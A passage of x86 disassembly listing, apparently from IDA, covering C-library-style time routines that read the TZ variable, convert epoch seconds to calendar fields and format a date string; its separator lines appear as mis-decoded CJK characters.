pop edi mov esp, ebp pop ebp retn sub_805AAC0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805AF2C proc near ; CODE XREF: sub_805AF5C+A0p ; sub_805B010+25p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push ebx push offset unk_8068EA0 call sub_805A254 add esp, 8 test eax, eax jz short loc_805AF52 push 1 push ebx push offset unk_8068EA0 call sub_805AAC0 loc_805AF52: ; CODE XREF: sub_805AF2C+17j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805AF2C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805AF5C proc near ; CODE XREF: sub_805B048+1Dp var_4 = dword ptr -4 push ebp mov ebp, esp push ebx push offset aTz ; "TZ" call getenv mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_805AF80 call sub_805B010 jmp loc_805B009 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805AF80: ; CODE XREF: sub_805AF5C+15j mov ds:dword_807E300, 1 cmp byte ptr [ebx], 0 jnz short loc_805AFCC mov ds:dword_807B0E0, 0 mov ds:dword_807B0E4, 0 mov ds:dword_807B82C, 0 mov ds:dword_807B834, 0 push offset unk_8068EA0 push offset unk_807C82C call strcpy add esp, 8 jmp short loc_805B004 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805AFCC: ; CODE XREF: sub_805AF5C+31j push offset dword_807B0E0 push ebx call sub_805A254 add esp, 8 test eax, eax jz short loc_805B004 cmp byte ptr [ebx], 3Ah jz short loc_805AFF7 push 0 push offset dword_807B0E0 push ebx call sub_805AAC0 add esp, 0Ch test eax, eax jz short loc_805B004 loc_805AFF7: ; CODE XREF: sub_805AF5C+85j push offset dword_807B0E0 call sub_805AF2C add esp, 4 loc_805B004: ; CODE XREF: sub_805AF5C+6Dj ; sub_805AF5C+80j ... call sub_805A11C loc_805B009: ; CODE XREF: sub_805AF5C+1Cj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805AF5C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805B010 proc near ; CODE XREF: sub_805AF5C+17p push ebp mov ebp, esp mov ds:dword_807E300, 1 push offset dword_807B0E0 push 0 call sub_805A254 add esp, 8 test eax, eax jz short loc_805B03D push offset dword_807B0E0 call sub_805AF2C add esp, 4 loc_805B03D: ; CODE XREF: sub_805B010+1Ej call sub_805A11C mov esp, ebp pop ebp retn sub_805B010 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805B048 proc near ; CODE XREF: sub_805B10C+Ep ; sub_805B128+Ep ; DATA XREF: ... var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov eax, [ebp+arg_0] mov edi, [ebp+arg_8] mov eax, [eax] mov [ebp+var_4], eax cmp ds:dword_807E300, 0 jnz short loc_805B06A call sub_805AF5C loc_805B06A: ; CODE XREF: sub_805B048+1Bj mov esi, offset dword_807B0E0 cmp ds:dword_807B0E4, 0 jz short loc_805B083 mov eax, [ebp+var_4] cmp ds:dword_807B0F0, eax jle short loc_805B0AC loc_805B083: ; CODE XREF: sub_805B048+2Ej xor eax, eax cmp dword ptr [esi+750h], 0 jz short loc_805B0D0 xor edx, edx loc_805B090: ; CODE XREF: sub_805B048+59j add edx, 10h inc eax cmp [esi+8], eax jle short loc_805B0A8 cmp dword ptr [edx+esi+750h], 0 jnz short loc_805B090 jmp short loc_805B0D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805B0A8: ; CODE XREF: sub_805B048+4Fj xor eax, eax jmp short loc_805B0D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805B0AC: ; CODE XREF: sub_805B048+39j mov eax, 1 cmp [esi+4], eax jle short loc_805B0C8 mov edx, [ebp+var_4] lea esi, [esi+0] loc_805B0BC: ; CODE XREF: sub_805B048+7Ej cmp [esi+eax*4+10h], edx jg short loc_805B0C8 inc eax cmp [esi+4], eax jg short loc_805B0BC loc_805B0C8: ; CODE XREF: sub_805B048+6Cj ; sub_805B048+78j movzx eax, byte ptr [eax+esi+5D7h] loc_805B0D0: ; CODE XREF: sub_805B048+44j ; sub_805B048+5Bj ... mov ebx, eax shl ebx, 4 lea ebx, [esi+ebx+74Ch] push edi push esi mov eax, [ebx] push eax lea eax, [ebp+var_4] push eax call sub_805B1C4 mov edx, [ebx+4] mov [edi+20h], edx mov eax, [ebx+8] add eax, 174Ch add esi, eax mov dword_8078B1C[edx*4], esi lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805B048 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805B10C proc near ; CODE XREF: sub_805B548+7p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push offset unk_807B06C push 0 push eax call sub_805B048 mov eax, offset unk_807B06C mov esp, ebp pop ebp retn sub_805B10C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805B128 proc near ; CODE XREF: .text:0805B572p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push 0 push eax call sub_805B048 mov eax, ebx mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805B128 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805B144 proc near ; CODE XREF: .text:0805B19Ap ; .text:0805B1B6p ; DATA XREF: ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov ebx, [ebp+arg_8] cmp ds:dword_807E304, 0 jnz short loc_805B173 mov ds:dword_807E304, 1 push offset unk_807C9F0 call sub_805AF2C add esp, 4 loc_805B173: ; CODE XREF: sub_805B144+16j push ebx push offset unk_807C9F0 push esi push edi call sub_805B1C4 lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805B144 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp push ebx mov eax, [ebp+8] mov ebx, [ebp+0Ch] push ebx push 0 push eax call sub_805B144 mov eax, ebx mov ebx, [ebp-4] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 push ebp mov ebp, esp mov eax, [ebp+8] push offset unk_807B098 push 0 push eax call sub_805B144 mov eax, offset unk_807B098 mov esp, ebp pop ebp retn ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805B1C4 proc near ; CODE XREF: sub_805B048+9Dp ; sub_805B144+37p var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch push edi push esi push ebx mov [ebp+var_4], 0 mov [ebp+var_8], 0 mov eax, [ebp+arg_8] mov ecx, [eax] dec ecx js loc_805B363 mov ebx, [ebp+arg_0] mov esi, [ebx] lea edi, ds:0[ecx*8] mov [ebp+var_C], edi add edi, 0FFFFFFF8h mov [ebp+var_10], edi mov eax, [ebp+var_C] add eax, 1780h mov [ebp+var_1C], eax mov ebx, ecx not ebx mov edx, ebx and edx, 3 cmp ecx, 0FFFFFFFFh jle short loc_805B25C test edx, edx jz short loc_805B27C cmp edx, 3 jge short loc_805B25C cmp edx, 2 jge short loc_805B245 mov edx, [ebp+arg_8] add edx, eax cmp [edx], esi jg short loc_805B23C jnz loc_805B349 mov edi, [ebp+var_8] jmp loc_805B31F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805B23C: ; CODE XREF: sub_805B1C4+66j add [ebp+var_10], 0FFFFFFF8h add [ebp+var_1C], 0FFFFFFF8h dec ecx loc_805B245: ; CODE XREF: sub_805B1C4+5Dj mov edx, [ebp+arg_8] add edx, [ebp+var_1C] cmp [edx], esi jle loc_805B31B add [ebp+var_10], 0FFFFFFF8h add [ebp+var_1C], 0FFFFFFF8h dec ecx loc_805B25C: ; CODE XREF: sub_805B1C4+4Fj ; sub_805B1C4+58j mov edx, [ebp+arg_8] add edx, [ebp+var_1C] cmp [edx], esi jle loc_805B31B add [ebp+var_10], 0FFFFFFF8h add [ebp+var_1C], 0FFFFFFF8h dec ecx js loc_805B363 lea esi, [esi+0] loc_805B27C: ; CODE XREF: sub_805B1C4+53j ; sub_805B1C4+199j mov edx, [ebp+arg_8] add edx, [ebp+var_1C] cmp [edx], esi jle loc_805B31B add [ebp+var_10], 0FFFFFFF8h dec ecx mov eax, [ebp+var_1C] mov ebx, [ebp+arg_8] lea edx, [ebx+eax-8] cmp [edx], esi jg short loc_805B2CC jnz loc_805B349 mov [ebp+var_8], 0 test ecx, ecx jnz short loc_805B2B8 cmp dword ptr [edx+4], 0 jg loc_805B342 loc_805B2B8: ; CODE XREF: sub_805B1C4+E8j mov ebx, [edx+4] mov edi, [ebp+arg_8] mov eax, [ebp+var_10] cmp [eax+edi+1784h], ebx jge short loc_805B349 jmp short loc_805B342 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805B2CC: ; CODE XREF: sub_805B1C4+D7j add [ebp+var_10], 0FFFFFFF8h dec ecx mov edi, [ebp+var_1C] mov eax, [ebp+arg_8] lea edx, [eax+edi-10h] cmp [edx], esi jg short loc_805B308 jnz short loc_805B349 mov [ebp+var_8], 0 test ecx, ecx jnz short loc_805B2F2 cmp dword ptr [edx+4], 0 jg short loc_805B342 loc_805B2F2: ; CODE XREF: sub_805B1C4+126j mov eax, [edx+4] mov ebx, [ebp+arg_8] mov edi, [ebp+var_10] cmp [edi+ebx+1784h], eax jge short loc_805B349 jmp short loc_805B342 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805B308: ; CODE XREF: sub_805B1C4+119j add [ebp+var_10], 0FFFFFFF8h dec ecx mov ebx, [ebp+var_1C] mov edi, [ebp+arg_8] lea edx, [edi+ebx-18h] cmp [edx], esi jg short loc_805B354 loc_805B31B: ; CODE XREF: sub_805B1C4+89j ; sub_805B1C4+A0j ... cmp [edx], esi jnz short loc_805B349 loc_805B31F: ; CODE XREF: sub_805B1C4+71j mov [ebp+var_8], 0 test ecx, ecx jnz short loc_805B330 cmp dword ptr [edx+4], 0 jg short loc_805B342 loc_805B330: ; CODE XREF: sub_805B1C4+164j mov edi, [edx+4] mov eax, [ebp+arg_8] mov ebx, [ebp+var_10] cmp [ebx+eax+1784h], edi jge short loc_805B349 loc_805B342: ; CODE XREF: sub_805B1C4+EEj ; sub_805B1C4+106j ... mov [ebp+var_8], 1 loc_805B349: ; CODE XREF: sub_805B1C4+68j ; sub_805B1C4+D9j ... mov edx, [edx+4] mov [ebp+var_4], edx jmp short loc_805B363 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805B354: ; CODE XREF: sub_805B1C4+155j add [ebp+var_10], 0FFFFFFF8h add [ebp+var_1C], 0FFFFFFE0h dec ecx jns loc_805B27C loc_805B363: ; CODE XREF: sub_805B1C4+1Dj ; sub_805B1C4+AFj ... mov eax, [ebp+arg_0] mov edx, [eax] mov eax, edx mov ebx, 15180h cdq idiv ebx mov esi, eax mov edi, [ebp+arg_4] sub edi, [ebp+var_4] mov [ebp+var_C], edi add edx, edi jns short loc_805B397 lea esi, [esi+0] loc_805B384: ; CODE XREF: sub_805B1C4+1C7j dec esi add edx, 15180h js short loc_805B384 jmp short loc_805B397 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805B390: ; CODE XREF: sub_805B1C4+1D9j add edx, 0FFFEAE80h inc esi loc_805B397: ; CODE XREF: sub_805B1C4+1BBj ; sub_805B1C4+1C9j cmp edx, 1517Fh jg short loc_805B390 mov eax, edx mov ebx, 0E10h cdq idiv ebx mov ecx, eax mov edi, [ebp+arg_C] mov [edi+8], ecx mov eax, edx mov ebx, 3Ch cdq idiv ebx mov ecx, eax mov [edi+4], ecx mov [edi], edx cmp [ebp+var_8], 0 jz short loc_805B3CA inc dword ptr [edi] loc_805B3CA: ; CODE XREF: sub_805B1C4+202j lea edx, [esi+4] mov eax, edx mov ebx, 7 cdq idiv ebx mov edi, [ebp+arg_C] mov [edi+18h], edx test edx, edx jge short loc_805B3E5 add dword ptr [edi+18h], 7 loc_805B3E5: ; CODE XREF: sub_805B1C4+21Bj mov [ebp+var_10], 7B2h test esi, esi jl short loc_805B438 loc_805B3F0: ; CODE XREF: sub_805B1C4+272j mov [ebp+var_1C], 0 mov eax, [ebp+var_10] test al, 3 jnz short loc_805B40A mov ebx, 64h cdq idiv ebx test edx, edx jnz short loc_805B419 loc_805B40A: ; CODE XREF: sub_805B1C4+238j mov eax, [ebp+var_10] mov ebx, 190h cdq idiv ebx test edx, edx jnz short loc_805B420 loc_805B419: ; CODE XREF: sub_805B1C4+244j mov [ebp+var_1C], 1 loc_805B420: ; CODE XREF: sub_805B1C4+253j mov edi, [ebp+var_1C] cmp ds:dword_8068F28[edi*4], esi jg short loc_805B477 inc [ebp+var_10] sub esi, ds:dword_8068F28[edi*4] jmp short loc_805B3F0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805B438: ; CODE XREF: sub_805B1C4+22Aj ; sub_805B1C4+2B1j dec [ebp+var_10] mov [ebp+var_1C], 0 mov eax, [ebp+var_10] test al, 3 jnz short loc_805B455 mov ebx, 64h cdq idiv ebx test edx, edx jnz short loc_805B464 loc_805B455: ; CODE XREF: sub_805B1C4+283j mov eax, [ebp+var_10] mov ebx, 190h cdq idiv ebx test edx, edx jnz short loc_805B46B loc_805B464: ; CODE XREF: sub_805B1C4+28Fj mov [ebp+var_1C], 1 loc_805B46B: ; CODE XREF: sub_805B1C4+29Ej mov edi, [ebp+var_1C] add esi, ds:dword_8068F28[edi*4] js short loc_805B438 loc_805B477: ; CODE XREF: sub_805B1C4+266j mov ebx, [ebp+var_10] add ebx, 0FFFFF894h mov eax, [ebp+arg_C] mov [eax+14h], ebx mov [eax+1Ch], esi mov edi, [ebp+var_1C] add edi, edi mov eax, [ebp+var_1C] add edi, eax shl edi, 4 mov edx, edi add edx, offset unk_8068EC8 mov ebx, [ebp+arg_C] mov dword ptr [ebx+10h], 0 cmp dword ptr ds:unk_8068EC8[edi], esi jg short loc_805B4C7 loc_805B4B0: ; CODE XREF: sub_805B1C4+301j mov edi, [ebp+arg_C] mov edi, [edi+10h] sub esi, [edx+edi*4] mov eax, [ebp+arg_C] inc dword ptr [eax+10h] mov ebx, [eax+10h] cmp [edx+ebx*4], esi jle short loc_805B4B0 loc_805B4C7: ; CODE XREF: sub_805B1C4+2EAj inc esi mov edi, [ebp+arg_C] mov [edi+0Ch], esi mov dword ptr [edi+20h], 0 lea esp, [ebp+var_28] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805B1C4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805B4E0 proc near ; CODE XREF: sub_805B530+Cp ; .text:0805B57Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov edx, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, [edx+14h] add eax, 76Ch push eax mov eax, [edx] push eax mov eax, [edx+4] push eax mov eax, [edx+8] push eax mov eax, [edx+0Ch] push eax mov eax, [edx+10h] lea eax, [eax+eax*2] add eax, offset aJanfebmaraprma ; "JanFebMarAprMayJunJulAugSepOctNovDec%.3"... push eax mov eax, [edx+18h] lea eax, [eax+eax*2] add eax, offset unk_8068F3E push eax push 8068F77h push ebx call sprintf mov eax, ebx mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805B4E0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805B530 proc near ; CODE XREF: sub_805B548+Dp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push offset unk_807B0C4 push eax call sub_805B4E0 mov esp, ebp pop ebp retn sub_805B530 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805B548 proc near ; CODE XREF: sub_8054EC8+80p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_805B10C push eax call sub_805B530 mov esp, ebp pop ebp retn sub_805B548 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+8] mov edx, [ebp+0Ch] push edx lea edx, [ebp-2Ch] push edx push eax call sub_805B128 add esp, 8 push eax call sub_805B4E0 mov esp, ebp pop ebp retn ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805B584 proc near ; CODE XREF: sub_805B61C+30p ; sub_805B61C+42p ... var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov esi, [ebp+arg_0] mov ecx, [ebp+arg_4] mov eax, [ebp+arg_8] cmp [ecx], eax jl short loc_805B5B4 mov ebx, [ecx] mov eax, ebx cdq idiv [ebp+arg_8] mov edi, eax add [esi], edi mov ebx, [ecx] mov eax, ebx cdq idiv [ebp+arg_8] mov esi, edx mov [ecx], esi jmp short loc_805B5D3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805B5B4: ; CODE XREF: sub_805B584+14j cmp dword ptr [ecx], 0 jge short loc_805B5D3 mov eax, [ecx] inc eax mov ebx, [ebp+arg_8] sub ebx, eax mov eax, ebx cdq idiv [ebp+arg_8] mov ebx, eax mov eax, [ebp+arg_8] imul eax, ebx add [ecx], eax sub [esi], ebx loc_805B5D3: ; CODE XREF: sub_805B584+2Ej ; sub_805B584+33j lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805B584 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805B5E0 proc near ; CODE XREF: sub_805B61C+1A9p ; sub_805B61C+288p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ecx+14h] sub eax, [edx+14h] jnz short loc_805B615 mov eax, [ecx+10h] sub eax, [edx+10h] jnz short loc_805B615 mov eax, [ecx+0Ch] sub eax, [edx+0Ch] jnz short loc_805B615 mov eax, [ecx+8] sub eax, [edx+8] jnz short loc_805B615 mov eax, [ecx+4] sub eax, [edx+4] jnz short loc_805B615 mov eax, [ecx] sub eax, [edx] loc_805B615: ; CODE XREF: sub_805B5E0+Fj ; sub_805B5E0+17j ... mov esp, ebp pop ebp retn sub_805B5E0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805B61C proc near ; CODE XREF: sub_805B914+26p ; sub_805B914+DBp var_7C = byte ptr -7Ch var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 70h push edi push esi push ebx mov ecx, [ebp+arg_C] mov dword ptr [ecx], 0 lea edi, [ebp+var_2C] mov esi, [ebp+arg_0] cld mov ecx, 0Bh repe movsd cmp [ebp+var_2C], 3Dh jbe short loc_805B654 push 3Ch lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_28] push eax call sub_805B584 add esp, 0Ch loc_805B654: ; CODE XREF: sub_805B61C+24j push 3Ch lea eax, [ebp+var_28] push eax lea ebx, [ebp+var_24] push ebx call sub_805B584 push 18h push ebx lea eax, [ebp+var_20] push eax call sub_805B584 push 0Ch lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax call sub_805B584 add esp, 24h cmp [ebp+var_20], 0 jg short loc_805B6FC nop loc_805B688: ; CODE XREF: sub_805B61C+DDj dec [ebp+var_18] xor ebx, ebx mov eax, [ebp+var_18] cmp [ebp+var_1C], 1 jle short loc_805B69B add eax, 76Dh loc_805B69B: ; CODE XREF: sub_805B61C+78j test al, 3 jnz short loc_805B6C1 mov eax, [ebp+var_18] cmp [ebp+var_1C], 1 jle short loc_805B6B0 add eax, 76Dh jmp short loc_805B6B5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805B6B0: ; CODE XREF: sub_805B61C+8Aj add eax, 76Ch loc_805B6B5: ; CODE XREF: sub_805B61C+91j mov ecx, 64h cdq idiv ecx test edx, edx jnz short loc_805B6E5 loc_805B6C1: ; CODE XREF: sub_805B61C+81j mov eax, [ebp+var_18] cmp [ebp+var_1C], 1 jle short loc_805B6D4 add eax, 76Dh jmp short loc_805B6D9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805B6D4: ; CODE XREF: sub_805B61C+ACj add eax, 76Ch loc_805B6D9: ; CODE XREF: sub_805B61C+B3j mov ecx, 190h cdq idiv ecx test edx, edx jnz short loc_805B6EA loc_805B6E5: ; CODE XREF: sub_805B61C+A3j mov ebx, 1 loc_805B6EA: ; CODE XREF: sub_805B61C+C7j mov eax, [ebp+var_20] add eax, ds:dword_8068F28[ebx*4] mov [ebp+var_20], eax test eax, eax jle short loc_805B688 nop loc_805B6FC: ; CODE XREF: sub_805B61C+69j ; sub_805B61C+13Fj ... xor ebx, ebx mov eax, [ebp+var_18] add eax, 76Ch test al, 3 jnz short loc_805B716 mov ecx, 64h cdq idiv ecx test edx, edx jnz short loc_805B72A loc_805B716: ; CODE XREF: sub_805B61C+ECj mov eax, [ebp+var_18] add eax, 76Ch mov ecx, 190h cdq idiv ecx test edx, edx jnz short loc_805B72F loc_805B72A: ; CODE XREF: sub_805B61C+F8j mov ebx, 1 loc_805B72F: ; CODE XREF: sub_805B61C+10Cj mov eax, ebx add eax, ebx add eax, ebx shl eax, 4 mov ecx, [ebp+var_1C] lea edx, ds:0[ecx*4] mov eax, dword ptr ds:unk_8068EC8[eax+edx] mov [ebp+var_64], eax cmp [ebp+var_20], eax jle short loc_805B76C sub [ebp+var_20], eax inc [ebp+var_1C] cmp [ebp+var_1C], 0Bh jle short loc_805B6FC mov [ebp+var_1C], 0 inc [ebp+var_18] jmp short loc_805B6FC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805B76C: ; CODE XREF: sub_805B61C+133j mov ecx, [ebp+var_2C] mov [ebp+var_68], ecx mov [ebp+var_2C], 0 xor ebx, ebx mov [ebp+var_5C], 1 lea esi, [esi] loc_805B784: ; CODE XREF: sub_805B61C+175j inc ebx mov ecx, [ebp+var_5C] mov eax, ecx add eax, ecx mov [ebp+var_5C], eax test eax, eax jg short loc_805B784 xor edx, edx test eax, eax jl short loc_805B7A2 mov edx, 1 mov ecx, ebx shl edx, cl loc_805B7A2: ; CODE XREF: sub_805B61C+17Bj mov [ebp+var_5C], edx lea ecx, [ebp+var_58] mov [ebp+var_6C], ecx nop loc_805B7AC: ; CODE XREF: sub_805B61C+1C9j ; sub_805B61C+1DCj ... mov ecx, [ebp+var_6C] push ecx mov ecx, [ebp+arg_8] push ecx lea eax, [ebp+var_5C] push eax mov ecx, [ebp+arg_4] call ecx lea eax, [ebp+var_2C] push eax mov ecx, [ebp+var_6C] push ecx call sub_805B5E0 mov edx, eax add esp, 14h test edx, edx jz short loc_805B80C mov eax, ebx dec ebx test eax, eax jl loc_805B8DC test ebx, ebx jge short loc_805B7E8 dec [ebp+var_5C] jmp short loc_805B7AC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805B7E8: ; CODE XREF: sub_805B61C+1C4j test edx, edx jle short loc_805B7FC mov eax, 1 mov ecx, ebx shl eax, cl sub [ebp+var_5C], eax jmp short loc_805B7AC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805B7FC: ; CODE XREF: sub_805B61C+1CEj mov eax, 1 mov ecx, ebx shl eax, cl add [ebp+var_5C], eax jmp short loc_805B7AC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805B80C: ; CODE XREF: sub_805B61C+1B5j cmp [ebp+var_C], 0 jl loc_805B8E4 mov eax, [ebp+var_38] cmp [ebp+var_C], eax jz loc_805B8E4 mov ebx, offset unk_807C9F0 cmp [ebp+arg_4], 